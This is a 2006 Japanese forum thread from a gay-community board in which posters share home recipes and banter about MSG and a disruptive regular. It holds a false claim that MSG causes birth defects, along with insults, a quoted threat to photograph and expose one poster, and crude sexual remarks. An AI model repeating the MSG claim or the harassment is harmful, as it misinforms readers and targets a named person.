肉以外の物入れ過ぎか焼きの問題だお!
デミグラスには炒めたキノコぶち込んでもおいしいお!

ハンバーグは味の素フレックの冷凍ハンバーグ安くておいしいお!
http://www.ajinomoto.co.jp/products/catalog/ff/reitou_3.html

>>917
ちがうお!

927 :ないちん =^_^=:2006/12/03(日) 23:24:46 ID:UMmdvOmw
>>926
それもありうるな。

肉だけでも、
ひたすれ練ればどうにかなるかもしれないな。練が、
足りないのかもしれないな。

みゃう。(練り)

928 :ないちん =^_^=:2006/12/03(日) 23:25:19 ID:m/OFlQrv
>>926
それもありうるな。

肉だけでも、
ひたすれ練ればどうにかなるかもしれないな。練が、
足りないのかもしれないな。

みゃう。(練り)

929 :陽気な名無しさん:2006/12/03(日) 23:28:12 ID:NlGIenpu
具体的にどうマズいか分からないと、アドバイスしようがないわよね。

930 :ないちん =^_^=:2006/12/03(日) 23:29:04 ID:L5KZw/2S
また、しなだれが来たな。みゃう。(しなだれ)

931 :陽気な名無しさん:2006/12/03(日) 23:36:07 ID:K56UFfn2
今夜はアボーンが多いわ!

932 :陽気な名無しさん:2006/12/03(日) 23:50:56 ID:QO43kbuw
足りないのは脳みそね>ハンバーグの人

933 :陽気な名無しさん:2006/12/03(日) 23:53:40 ID:ZBNxK2yv
>>930
はずれだお!
ないちん勘違いしてるお!

24行って3発も抜いてるんじゃねーぞ
たぶん自爆が2回かな・・・

とでもコメントすればいいのかい?


934 :陽気な名無しさん:2006/12/03(日) 23:54:41 ID:NlGIenpu
>>932
姐さん、うまいわ。

935 :ないちん =^_^=:2006/12/04(月) 00:00:07 ID:L5KZw/2S
>>933
てこきが1回だな。口出しが1回だな。
夜中は、触られまくって眠れなかったな。5時ぐらいから、
10時ぐらいまで寝たな。3回目の状況は、
覚えていないな。

みゃう。(不覚))

936 :陽気な名無しさん:2006/12/04(月) 00:26:00 ID:oH1hLO/t
…お!    っていうのがすんごくうざいんだけど… orz  どうにかなんないのかしら?

937 :陽気な名無しさん:2006/12/04(月) 00:27:11 ID:+hGh4gT4
脳内で適当な語尾に読み替えればいいお!

938 :ないちん =^_^=:2006/12/04(月) 00:32:02 ID:T8nsPJl2
・・・・お!→・・・・でふにゃあ。ぐふっ。。。。

939 :陽気な名無しさん:2006/12/04(月) 00:37:27 ID:+hGh4gT4
こう?
脳内で適当な語尾に読み替えればいいでふにゃあ。ぐふっ。。。。
もっとうざくなりそうだお!

940 :ないちん =^_^=:2006/12/04(月) 00:39:13 ID:fniyrpDN
もっとうざくなりそうでふにゃあ。ぐふっ。。。。

941 :陽気な名無しさん:2006/12/04(月) 00:41:11 ID:+hGh4gT4
ないちんは、存在自体がうざいでふにゃあ。ぐふっ。。。。

942 :陽気な名無しさん:2006/12/04(月) 01:27:18 ID:F9qNJR7X
もう、ここも終わりね………

943 :陽気な名無しさん:2006/12/04(月) 01:33:52 ID:x4TiaL/U
そう?
変な人がわいてるけど、それ以外はぜんぜんふつうで平和よ?

944 :陽気な名無しさん:2006/12/04(月) 01:56:06 ID:oIcdOJpi
ホタテの缶詰ほぐして、ザーサイとネギを細かく切って、ごま油、塩こしょうで味をつけたのを豆腐にのせて、中華冷奴よ!本当にうまいから!

945 :陽気な名無しさん:2006/12/04(月) 02:00:07 ID:F9qNJR7X
あたし、ヤキブタとザーサイ、葱でやるわよ。
美味しいのよね!
ホタテも試してもみるわ。

946 :陽気な名無しさん:2006/12/04(月) 02:08:05 ID:diVWy9vc
初めて、うのはな作った。
おからって、あんなにぱらぱらになるもんなのか!
コンニャク、にんじん、ネギ、ひじきで、薄味で仕上げてみました。

947 :陽気な名無しさん:2006/12/04(月) 02:17:04 ID:IdTASuJD
うのはなって、作るものじゃなくて、
豆腐を作る行程で出来て来るものでしょ!?

わざわざ、うのはなを作ったの?
コンニャクやにんじんはどうやって使ったの?

948 :陽気な名無しさん:2006/12/04(月) 02:27:52 ID:F9qNJR7X
おからを調理したんでしょ?
…もしかして豆腐屋に初出勤した人?

949 :陽気な名無しさん:2006/12/04(月) 06:29:39 ID:JPViVjT9
面白い人がいるわねw

950 :陽気な名無しさん:2006/12/04(月) 13:47:33 ID:al79iZKs
チーズケーキ作りに初挑戦したわ。
クリームチーズとお砂糖とバターと卵と小麦粉
(なかったから、ホットケーキミックスの残りを使ったわ)
混ぜて型に入れて40分ほどオーブンで焼くだけよ。
売り物よりも全然美味しいの。
経費も600円くらいしかかからなかったわ。
予行演習全て終了よ。

鶏肉は特性の竜田揚げにするの♪
あとは適当にパスタとサラダとワインでいいわね。
これであたしの今年のクリスマスは完璧だわ。

さてと…男探さなきゃ♪




951 :陽気な名無しさん:2006/12/04(月) 13:54:01 ID:K/MzwVV8
何を血迷ってるの?日清のクールンとから揚げの素、使えば良いじゃないの!

952 :陽気な名無しさん:2006/12/04(月) 14:13:51 ID:al79iZKs
適当なヤリ友くらいだったら、その程度よねw
つか、手料理なんて食わせないし、家にも上げないわw
要するに、そこまでお手軽にお料理すると、
お手軽な男しかひっかからないってことよ!

953 :ないちん =^_^=:2006/12/04(月) 15:27:52 ID:fniyrpDN
これから、新宿に向かうな。今日は、例の、
快感ではないな。

みゃう。(否定)

954 :陽気な名無しさん:2006/12/04(月) 17:28:58 ID:6QYqW7iT
ないちんも今年中に消えるわw

> 22 :陽気な名無しさん :2006/12/04(月) 01:52:20 ID:oIcdOJpi
> あたし実はないちんの知り合いなんだけど、さすがにムカつくわ!
> 今度会ったら写メ撮ってフォトメスレに晒すわ
http://love3.2ch.net/test/read.cgi/gaysaloon/1165158430/22

955 :陽気な名無しさん:2006/12/04(月) 17:49:15 ID:xV2iEaJa
>>950
スーパーにあるお惣菜の竜田揚げって、あたし結構好きだわ。

お醤油と鶏ガラの素としょうがを加えて漬けても、ああいう味
にならないのよね。一体どんな味付けをしてるのかしら?

結局、から揚げの素に頼っちゃうの。

956 :陽気な名無しさん:2006/12/04(月) 17:53:28 ID:6QYqW7iT
>>955
鶏肉に、鶏ガラの素は要らないと思うわよ?
こんどは、醤油+お酒か味醂+ショウガで試したらいかがかしら?

957 :陽気な名無しさん:2006/12/04(月) 17:53:28 ID:lY4Bcj76
>>922
普通にミートローフでも作っておいたほうが良いのに。

958 :陽気な名無しさん:2006/12/04(月) 17:55:43 ID:lY4Bcj76
タツタ揚げはショウガが欠かせない。
衣は片栗粉で。

959 :陽気な名無しさん:2006/12/04(月) 18:07:05 ID:xV2iEaJa
>>956
20分漬けても味が薄くて、調べたらレシピに書いてあったの。

スーパーの竜田揚げやから揚げの素って、味が濃いじゃない?
ああいうのが作りたいのよ〜。やっぱり味の素かしら?

960 :陽気な名無しさん:2006/12/04(月) 18:17:08 ID:6QYqW7iT
>>959
あなた、料理のセンスが良くないと思うわ。
味が染みやすいように鶏肉を叩いたり、
串で刺したりしてから漬けるとかしてみたら?

961 :陽気な名無しさん:2006/12/04(月) 18:20:36 ID:xV2iEaJa
>>960
楊枝で刺したり、揉んだりはしてみたわ。

でも、そんなこと言われるとショックだわ。
確かにあまり料理はうまくないけど…

962 :陽気な名無しさん:2006/12/04(月) 18:25:05 ID:6QYqW7iT
だって、「やっぱり味の素かしら?」なんて、頼りは調味料みたいなこと書いてるから、
まあ、楽しんでお料理してちょうだいね。がんばって。

963 :陽気な名無しさん:2006/12/04(月) 18:52:08 ID:rM+kRVr1
私が作る時は、基本的には醤油+酒+生姜+蜂蜜+塩胡椒多め、ね。
漬け置きはしないで、すぐ手でグッチャグッチャ揉み込んで、
片栗粉投入、ベトベトに混ぜて即、揚げてるわ。で食べる直前に揚げ直し。
自分では特に不満無い出来よ


964 :陽気な名無しさん:2006/12/04(月) 19:33:38 ID:al79iZKs
ミートローフもいいわね。。。豪華そうに見えるし。。。
考えとくわ。
生姜だけじゃなく、臭いが平気ならばにんにくも入れるといいのよ。
お酒(日本酒でも中国酒でもおK)やみりんは重要ね。
べとべとさせないための二度揚げは、
ポテトを揚げると時と同じことなのよ。
蜂蜜入れるときはみりんは入れないのよ!
十分甘みも柔らかさも引き出せるから。
衣はしっとりさせたい時は、漬けた肉に直接投入。
からっとさせたい時は、水気を切ってまぶすのよ。
手を汚したくなければ、袋のなかに入れて混ぜるといいわ。

クリスマスだからお約束の、骨付き腿肉を、
照り焼きやオーブンでローストするの考えたけど、
竜田揚げの方が簡単に食べられるし、汚れないでしょ。

パスタはシンプルにポモドーロで、
あとはモッツアレラトマトのカプレーゼと、
グリーンサラダ(切っただけ)でいいわね。

皆さんはクリスマス対策どうされるの?


965 :陽気な名無しさん:2006/12/04(月) 19:37:48 ID:DZycvVKu
照り犬よ

966 :陽気な名無しさん:2006/12/04(月) 19:38:54 ID:+hGh4gT4
犬の照り焼き?
それとも犬の肉でテリーヌ?

967 :陽気な名無しさん:2006/12/04(月) 19:55:47 ID:VJtZKP4B
モスチキンよ。

968 :陽気な名無しさん:2006/12/04(月) 20:07:31 ID:VJtZKP4B
味の素って買ったことないんだけど、入れるとどう変わるのかしら?

969 :ないちん =^_^=:2006/12/04(月) 20:30:22 ID:fniyrpDN
から揚げの素が、
おいしいわけがないな。やはりから揚げは、鶏肉の、
漬け込みが命だな。ないちんは、漬け込み鳥の、
チャーシュー風蒸しハムが好きだな。

みゃう。(とりはむ)

970 :陽気な名無しさん:2006/12/04(月) 20:31:12 ID:lY4Bcj76
ほんの少し入れると旨味が増す。
入れすぎると後味が悪くなる。
後味が苦くなる感じ。

971 :ないちん =^_^=:2006/12/04(月) 20:32:12 ID:fniyrpDN
>>968
3代目に効く、神経剤だな。子供が、
単眼症(目が一つ)になったり、
三つ目になったりするな。

バカは、味の素をじゃんじゃん使うといいな。

みゃう。(バカは)

972 :ないちん =^_^=:2006/12/04(月) 20:32:51 ID:fniyrpDN
>>970
噂をすれば・・・・・・。ヽ(^。^)ノ

みゃう。(だんまり)

973 :陽気な名無しさん:2006/12/04(月) 20:44:07 ID:lY4Bcj76
街の中華料理店に行くと旨味があるけど
後味の悪い料理に良く出会う。
あれこそ旨味調味料の使いすぎ。

974 :陽気な名無しさん:2006/12/04(月) 20:46:02 ID:F9qNJR7X
今日は、大豆とひじきの炒り煮と、大根とあさりの炒め煮を作るわ。
和食攻めよ。

975 :陽気な名無しさん:2006/12/04(月) 21:11:44 ID:l3Dlt0WP
ラザニアが食べたいわ

976 :陽気な名無しさん:2006/12/04(月) 21:33:59 ID:/Gr+IiBx
>>968
マクドナルドのビッグマックを食べると、その後しばらく口の中が
ネトネトした感じになって、どうしても思いっきり歯を磨きたくなる。
あの感じが味の素。


977 :陽気な名無しさん:2006/12/04(月) 21:40:15 ID:0Fnh4XHx
マックなんか糞マズいから行かないわ。
食べても、せいぜいポテトかナゲット。

978 :陽気な名無しさん:2006/12/04(月) 21:43:24 ID:uMGN99XH
ジャン子

979 :陽気な名無しさん:2006/12/04(月) 21:44:21 ID:6QYqW7iT
グルタミン酸ナトリウムって、過剰摂取するとイロイロとカラダに良くないのよ

980 :陽気な名無しさん:2006/12/04(月) 21:45:35 ID:uMGN99XH
グルクミンじゃなくて?グルタミン?ってなに?

981 :陽気な名無しさん:2006/12/04(月) 21:45:55 ID:lY4Bcj76
ステビアもアスパルテームもダメなんでしょう?

982 :陽気な名無しさん:2006/12/04(月) 21:47:11 ID:lY4Bcj76
クルクミンなら少し摂取しても大丈夫。
むしろ良い。

983 :陽気な名無しさん:2006/12/04(月) 21:47:33 ID:V4pOItcf
顆粒のダシに塩分が入ってるてマジですの?
味噌少な目にして「塩分控えめネ☆ウフッ」とかオモテ自己満してたのに…

984 :陽気な名無しさん:2006/12/04(月) 21:49:56 ID:+hGh4gT4
>>980
クルクミンじゃなくて?グルクミン?ってなに?

985 :陽気な名無しさん:2006/12/04(月) 21:50:15 ID:DZycvVKu
アジ化ナトリウムとかパラコートもだめよ

986 :陽気な名無しさん:2006/12/04(月) 21:50:56 ID:0Fnh4XHx
>>981
それははっきりと分かってないそうよ。

987 :陽気な名無しさん:2006/12/04(月) 21:51:14 ID:6QYqW7iT
>>983
リケンの「素材力」は塩分不使用でお薦めよ。

988 :陽気な名無しさん:2006/12/04(月) 21:52:28 ID:6QYqW7iT
てか次スレおっ勃てといたわよ〜

【ホモ】 お料理するわね! 7品目 【ゲイ】
http://love3.2ch.net/test/read.cgi/gaysaloon/1165236553/

989 :陽気な名無しさん:2006/12/04(月) 21:53:20 ID:V4pOItcf
>>987
まぁ?アリガトウだわ。
さすが理研ね。

990 :陽気な名無しさん:2006/12/04(月) 21:56:13 ID:6QYqW7iT
>>989
アタシは「リケン」だと思ってたんだけど、社名って「理研ビタミン」が正式みたいだわ。

商品紹介のURL
http://www.rikenvitamin.jp/products/dashi/sozairyoku/index.html

991 :陽気な名無しさん:2006/12/04(月) 21:58:49 ID:lY4Bcj76
理科学研究所とはちがうの?

992 :陽気な名無しさん:2006/12/04(月) 21:59:58 ID:6QYqW7iT
ふつう理研って書くと「独立行政法人理化学研究所」らしいわ。
理研ビタミン社は、私企業よ

993 :陽気な名無しさん:2006/12/04(月) 22:00:07 ID:0Fnh4XHx
でも一般的には理研で通ってるわよね。

994 :陽気な名無しさん:2006/12/04(月) 22:01:44 ID:/Gr+IiBx
>>985
あんた、ドサクサにまぎれてdでもないこと書いてるわね。
ワロタわ。


995 :陽気な名無しさん:2006/12/04(月) 22:06:23 ID:oho/iy7T
今日はお休みだったからお茶づけとソウメンを湯がいて食べたわ。

休みの日くらいは自炊したいと思い始めたのw
ほか弁やファーフーは体に良くないし…

996 :陽気な名無しさん:2006/12/04(月) 22:20:56 ID:6QYqW7iT
ファーフーって呼び方はやめてほしいわ

997 :陽気な名無しさん:2006/12/04(月) 22:21:55 ID:6QYqW7iT
このスレともお別れだわね

998 :陽気な名無しさん:2006/12/04(月) 22:23:00 ID:F9qNJR7X
湯がいて…やっぱり、その言葉いいわね。

999 :陽気な名無しさん:2006/12/04(月) 22:24:11 ID:a1J1C5jC
999だわ・・・・

1000 :陽気な名無しさん:2006/12/04(月) 22:24:17 ID:6QYqW7iT
1000なら、ないちん死亡だわw

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

230 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)